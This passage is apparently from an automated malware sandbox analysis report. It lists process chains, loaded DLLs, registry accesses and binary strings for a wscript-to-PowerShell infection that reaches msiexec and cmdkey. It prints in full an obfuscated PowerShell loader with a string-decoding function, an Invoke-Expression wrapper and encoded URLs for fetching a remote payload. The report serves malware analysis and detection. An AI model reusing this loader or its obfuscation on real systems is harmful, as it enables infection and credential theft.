');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\PING.EXE ping gormezl_6777.6777.6777.677e	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\cmdkey.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: ystem.Core.pdb7y~X source: powershell.exe, 00000006.00000002.2657649363.000000000769A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5A source: powershell.exe, 00000006.00000002.2657649363.00000000075E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: GJFjqeGumqI.exe, 0000000B.00000002.3467099503.0000000000C0E000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: cmdkey.pdbGCTL source: msiexec.exe, 0000000A.00000003.3126312023.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3126442250.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, GJFjqeGumqI.exe, 0000000B.00000002.3467221616.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: msiexec.exe, 0000000A.00000003.3061903558.0000000021F0C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3185756422.000000002225E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3185756422.00000000220C0000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3059333142.0000000021D5C000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3468299948.000000000376E000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3168090406.000000000326A000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3170420691.000000000341E000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3468299948.00000000035D0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: msiexec.exe, msiexec.exe, 0000000A.00000003.3061903558.0000000021F0C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3185756422.000000002225E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.3185756422.00000000220C0000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3059333142.0000000021D5C000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3468299948.000000000376E000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3168090406.000000000326A000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000003.3170420691.000000000341E000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 0000000C.00000002.3468299948.00000000035D0000.00000040.00001000.00020000.00000000.sdmp
